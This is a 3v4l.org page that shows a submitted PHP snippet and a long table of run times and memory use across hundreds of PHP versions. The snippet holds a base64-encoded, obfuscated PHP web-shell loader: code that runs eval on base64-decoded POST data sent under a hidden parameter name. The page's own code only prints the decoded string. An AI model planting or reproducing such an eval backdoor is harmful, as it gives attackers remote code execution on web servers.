3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_='aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9'; $__='JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7'; $___='base64_decode'; print(base64_decode($___($__))); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0150.00016.49
8.3.50.0060.00922.02
8.3.40.0160.00018.83
8.3.30.0100.00719.13
8.3.20.0000.00720.34
8.3.10.0040.00423.70
8.3.00.0040.00420.77
8.2.180.0120.00616.63
8.2.170.0080.00622.96
8.2.160.0030.01020.52
8.2.150.0000.00724.18
8.2.140.0030.00624.66
8.2.130.0080.00026.16
8.2.120.0080.00020.89
8.2.110.0060.00322.14
8.2.100.0100.00020.40
8.2.90.0030.00519.05
8.2.80.0100.00017.97
8.2.70.0080.00017.63
8.2.60.0000.00817.89
8.2.50.0040.00418.07
8.2.40.0000.00817.91
8.2.30.0070.00018.15
8.2.20.0070.00017.74
8.2.10.0080.00018.04
8.2.00.0050.00317.60
8.1.280.0090.00625.92
8.1.270.0030.00623.82
8.1.260.0040.00426.35
8.1.250.0080.00028.09
8.1.240.0030.00622.05
8.1.230.0030.00819.16
8.1.220.0060.00317.74
8.1.210.0000.00818.77
8.1.200.0060.00617.23
8.1.190.0060.00317.22
8.1.180.0040.00418.10
8.1.170.0040.00418.46
8.1.160.0050.00221.86
8.1.150.0000.00718.44
8.1.140.0000.00717.30
8.1.130.0030.00317.86
8.1.120.0080.00017.42
8.1.110.0070.00017.34
8.1.100.0040.00417.27
8.1.90.0040.00417.28
8.1.80.0080.00017.45
8.1.70.0000.00817.35
8.1.60.0050.00317.54
8.1.50.0000.00817.52
8.1.40.0080.00017.40
8.1.30.0100.00017.47
8.1.20.0000.00717.65
8.1.10.0000.00817.55
8.1.00.0000.00717.58
8.0.300.0070.00018.77
8.0.290.0080.00416.93
8.0.280.0040.00418.36
8.0.270.0040.00417.15
8.0.260.0040.00417.19
8.0.250.0000.00716.85
8.0.240.0070.00016.86
8.0.230.0080.00016.92
8.0.220.0050.00316.84
8.0.210.0040.00416.82
8.0.200.0030.00316.76
8.0.190.0040.00416.79
8.0.180.0070.00016.86
8.0.170.0070.00016.89
8.0.160.0040.00416.79
8.0.150.0000.00716.80
8.0.140.0000.00716.74
8.0.130.0040.00413.29
8.0.120.0040.00416.81
8.0.110.0040.00416.88
8.0.100.0040.00416.82
8.0.90.0040.00416.70
8.0.80.0080.01316.84
8.0.70.0040.00416.69
8.0.60.0000.00816.87
8.0.50.0050.00216.60
8.0.30.0110.01217.21
8.0.20.0190.01117.40
8.0.10.0040.00416.81
8.0.00.0120.00716.74
7.4.330.0000.00515.00
7.4.320.0000.00616.45
7.4.300.0000.00716.41
7.4.290.0000.00616.51
7.4.280.0040.00416.43
7.4.270.0000.00716.33
7.4.260.0000.01016.50
7.4.250.0030.00316.31
7.4.240.0020.00516.48
7.4.230.0040.00416.43
7.4.220.0100.00716.56
7.4.210.0060.00916.40
7.4.200.0000.00716.61
7.4.160.0120.00316.29
7.4.150.0090.00917.40
7.4.140.0110.01517.86
7.4.130.0100.00716.50
7.4.120.0110.00816.41
7.4.110.0040.01416.46
7.4.100.0070.01616.35
7.4.90.0180.00016.56
7.4.80.0140.00319.39
7.4.70.0110.00716.40
7.4.60.0060.01216.45
7.4.50.0060.00316.40
7.4.40.0040.01216.29
7.4.30.0060.01116.34
7.4.00.0100.00314.47
7.3.330.0000.00613.00
7.3.320.0000.00713.04
7.3.310.0050.00216.11
7.3.300.0030.00316.11
7.3.290.0100.00516.16
7.3.280.0080.00816.13
7.3.270.0030.01417.40
7.3.260.0150.00816.50
7.3.250.0130.00416.33
7.3.240.0070.01016.43
7.3.230.0160.00316.41
7.3.210.0030.01316.38
7.3.200.0120.00419.39
7.3.190.0070.00916.41
7.3.180.0120.00816.33
7.3.170.0100.00716.27
7.3.160.0060.01016.38
7.3.120.0030.01314.83
7.2.330.0060.01816.43
7.2.320.0060.01016.54
7.2.310.0030.01316.62
7.2.300.0060.00916.57
7.2.290.0030.01316.34
7.2.00.0070.00719.10
7.1.100.0060.00617.84
7.1.70.0060.00317.21
7.1.60.0080.01519.70
7.1.50.0090.01616.40
7.1.00.0000.08022.45
7.0.200.0000.00716.90
7.0.140.0100.06722.01
7.0.60.0130.06719.95
7.0.50.0030.06017.82
7.0.40.0000.05720.30
7.0.30.0330.06320.13
7.0.20.0100.05020.17
7.0.10.0130.06020.33
7.0.00.0000.09019.99
5.6.280.0030.07321.07
5.6.210.0030.08020.53
5.6.200.0170.07318.09
5.6.190.0000.09020.44
5.6.180.0200.08020.37
5.6.170.0270.04320.42
5.6.160.0030.05720.51
5.6.150.0070.08318.11
5.6.140.0070.04318.20
5.6.130.0070.05318.11
5.6.120.0170.06720.99
5.6.110.0200.07720.98
5.6.100.0130.07320.97
5.6.90.0170.06320.97
5.6.80.0070.03720.40
5.6.70.4830.04020.49
5.5.350.0230.03320.44
5.5.340.0070.04017.98
5.5.330.0030.08020.57
5.5.320.0370.06720.34
5.5.310.0230.06320.24
5.5.300.0000.09017.98
5.5.290.0030.05017.95
5.5.280.0000.05720.76
5.5.270.0070.07720.79
5.5.260.0170.08720.86
5.5.250.0000.08720.69
5.5.240.0300.07020.18
5.4.450.0230.04332.18
5.4.440.0230.04332.18
5.4.430.0330.04332.18
5.4.420.0670.04332.18
5.4.410.0730.04032.17
5.4.400.0530.03330.86
5.4.390.0400.04730.86
5.4.380.0170.05318.57
5.4.370.0130.05318.70
5.4.360.0130.05018.59
5.4.350.0200.04718.72
5.4.340.0130.05018.71
5.4.320.0090.04012.45
5.4.310.0040.05012.45
5.4.300.0080.04112.45
5.4.290.0070.03912.45
5.4.280.0080.03912.35
5.4.270.0090.04512.35
5.4.260.0140.04612.35
5.4.250.0090.04712.35
5.4.240.0070.03512.35
5.4.230.0060.03712.34
5.4.220.0060.03712.34
5.4.210.0040.03712.34
5.4.200.0090.03612.34
5.4.190.0070.03912.34
5.4.180.0060.03612.33
5.4.170.0060.03712.35
5.4.160.0080.04012.34
5.4.150.0070.03912.34
5.4.140.0030.04212.02
5.4.130.0080.03412.01
5.4.120.0060.03611.96
5.4.110.0080.03511.96
5.4.100.0080.03911.96
5.4.90.0060.04211.96
5.4.80.0070.03711.97
5.4.70.0090.03511.96
5.4.60.0040.03811.96
5.4.50.0090.03311.96
5.4.40.0050.03811.95
5.4.30.0040.03911.95
5.4.20.0060.03711.95
5.4.10.0060.03711.95
5.4.00.0040.03911.43
5.3.290.0060.04312.80
5.3.280.0070.03812.71
5.3.270.0050.04012.72
5.3.260.0100.03612.72
5.3.250.0060.03712.72
5.3.240.0060.04012.72
5.3.230.0060.03912.71
5.3.220.0080.03612.68
5.3.210.0040.04212.68
5.3.200.0080.03612.68
5.3.190.0060.03812.68
5.3.180.0020.04212.67
5.3.170.0050.03712.67
5.3.160.0070.03612.67
5.3.150.0040.03912.68
5.3.140.0040.03912.66
5.3.130.0080.03712.66
5.3.120.0060.03912.65
5.3.110.0060.03912.66
5.3.100.0070.03612.12
5.3.90.0060.03712.08
5.3.80.0060.03712.08
5.3.70.0090.04012.08
5.3.60.0070.03512.07
5.3.50.0100.03112.00
5.3.40.0060.03712.00
5.3.30.0080.04811.94
5.3.20.0050.04011.72
5.3.10.0080.03511.69
5.3.00.0060.03611.68
5.2.170.0080.0289.18
5.2.160.0060.0299.18
5.2.150.0050.0319.18
5.2.140.0030.0339.17
5.2.130.0040.0309.14
5.2.120.0040.0289.13
5.2.110.0060.0289.14
5.2.100.0020.0319.14
5.2.90.0050.0309.14
5.2.80.0050.0319.14
5.2.70.0040.0339.14
5.2.60.0060.0299.09
5.2.50.0040.0329.05
5.2.40.0050.0299.03
5.2.30.0060.0309.01
5.2.20.0040.0299.00
5.2.10.0040.0298.92
5.2.00.0030.0318.78
5.1.60.0070.0228.07
5.1.50.0040.0258.06
5.1.40.0040.0258.04
5.1.30.0060.0258.39
5.1.20.0060.0278.41
5.1.10.0040.0268.14
5.1.00.0010.0298.14
5.0.50.0040.0226.62
5.0.40.0070.0176.47
5.0.30.0040.0326.29
5.0.20.0070.0186.26
5.0.10.0050.0206.24
5.0.00.0020.0326.23
4.4.90.0050.0144.77
4.4.80.0010.0174.76
4.4.70.0020.0174.75
4.4.60.0030.0154.75
4.4.50.0020.0174.77
4.4.40.0030.0274.71
4.4.30.0030.0164.76
4.4.20.0030.0154.85
4.4.10.0010.0174.85
4.4.00.0020.0264.76
4.3.110.0020.0164.67
4.3.100.0020.0154.66
4.3.90.0030.0144.63
4.3.80.0010.0254.59
4.3.70.0030.0144.63
4.3.60.0020.0154.63
4.3.50.0040.0144.63
4.3.40.0030.0244.54
4.3.30.0040.0153.28
4.3.20.0010.0183.26
4.3.10.0030.0153.21
4.3.00.0070.01730.86

preferences:
45.28 ms | 401 KiB | 5 Q